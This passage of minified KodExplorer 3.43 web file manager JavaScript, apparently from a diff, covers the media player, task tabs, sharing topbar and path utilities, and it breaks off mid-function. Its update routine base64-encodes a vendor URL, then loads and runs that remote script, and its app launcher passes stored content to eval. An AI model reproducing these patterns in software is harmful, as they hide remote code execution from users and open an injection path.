0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:n,download:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",n="music_player",a="movie_player",o=function(e){var a=e==n?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==n&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(a),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?n:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?n:a)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,n=t[i],a={extType:n,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return a[n]=e.url,a},c=function(e,t){if(t){var i=e.parents(".jPlayer"),n={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,n)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),n=$.dialog.list[e];n&&n.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),a=r(i),d=l(e[0]);a||(a=o(i),i==n&&p.init()),i==n&&(d=p.insert(a,e,t)),c(a,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,n="circle",a=function(n,a){i=n;for(var s=e.length,r=0;a.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==a[r].url){c=!0;break}if(c){if(r==a.length-1)return t!=d&&o(d),!1}else e.push(l(a[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(n){n=0>=n?0:n,n=n>=e.length-1?e.length-1:n,t=n;var a=e[n];c(i,a),u(!1)},s=function(i){switch(n){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1); -break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],n=i.url+"&download=1";ui.pathOpen.downloadUrl(n)},p=function(){t=0,e=[],n="circle";var i=$(".jPlayer-music"),a=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=a.length?0:e;var t=a[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),n=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(n){var a=$(i).parents(".jPlayer");if(n){var o="";$.each(e,function(e,t){o+='<li class="item"> <span class="name">'+t.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),a.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(a.find(".item-title").html(e[t].title),a.find(".item").removeClass("this"),a.find(".item:eq("+t+")").addClass("this"),f(a.find(".player-bg")),void 0):(t=0,a.find(".item-title").html("&nbsp; "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),n="160deg",a="background-image: -webkit-linear-gradient("+n+", "+t+", "+i+"); background-image: -moz-linear-gradient("+n+", "+t+", "+i+"); background-image: -o-linear-gradient("+n+", "+t+", "+i+"); background-image: -ms-linear-gradient("+n+", "+t+", "+i+"); background-image: linear-gradient("+n+", "+t+", "+i+");";e.attr("style",a)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:a,init:p}}(),u=function(n){var o=s(n[0].ext);o==a?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(n)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(n)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,n=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},a=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var n=$("."+t);"hidden"==n.css("visibility")?i.display(!0).zIndex():n.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,n,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&a(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),n=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var a=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),n.css({width:d+"px",top:a,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var a=i.clientX-l+c;f>a||a>f+u-d||(n.css("left",a),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(a>t&&t+d/2+p>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(a>t-d/2+p&&t>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(n,a){if(!e.is(":animated")||o!=n){o=n,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+n),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==a?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=n&&(c=e.get(0).getBoundingClientRect().left,n.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,n=t,a=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/a);switch(r>l&&(n=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:n+"px"},i);case"close":o.animate({width:n+"px"},i);break;case"resize":o.css("width",n+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var n=i.replace(/<[^>]+>/g,""),a='<div class="tab taskBarMenu" id="'+t+'" title="'+n+'">'+i+"</div>";$(a).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"dialog_quite":n.close();break;case"dialog_min":n._clickMin(!1);break;case"dialog_max":n._clickMax();break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),n(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var n={};n[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},n[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},n[G.KOD_GROUP_SHARE]={icon:"groupGuest"},n[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},n[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},n[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},n[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var a=n[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?a={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(a={icon:"groupSelfOwner"}),void 0==a&&(a={icon:"",name:""}),void 0==a.name&&(a.name=t),a},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],n=!1;return-1!==$.inArray(t[0],i)&&(n=!0),n},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),n=t.substr(i+1);if(0==n.search("fileProxy")){n=urlDecode(n.substr(n.search("&path=")));var a=n.split("/");n=a[a.length-1],""==n&&(n=a[a.length-2])}return n},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,n=this.pathClear(e);this.pathExt(n);var a=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&n.substring(0,G.web_root.length)==G.web_root?i=G.web_host+a(n.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(n),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(n))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var n="filename";"http"==e.substr(0,4)&&(n="file_url");var a="./index.php?editor/fileGet&"+n+"="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+n+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(a=e),$.ajax({url:a,dataType:"json",error:function(e,t,n){core.ajaxError(e,t,n),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,a)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),n="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:n})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,n){if(e){void 0==n&&(n="openDialog"+UUID());var a="<iframe frameborder='0' name='Open"+n+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:n,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:a,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var n=ShareData.frameTop(),a=n.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*n.$(".dialogExplorer").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var 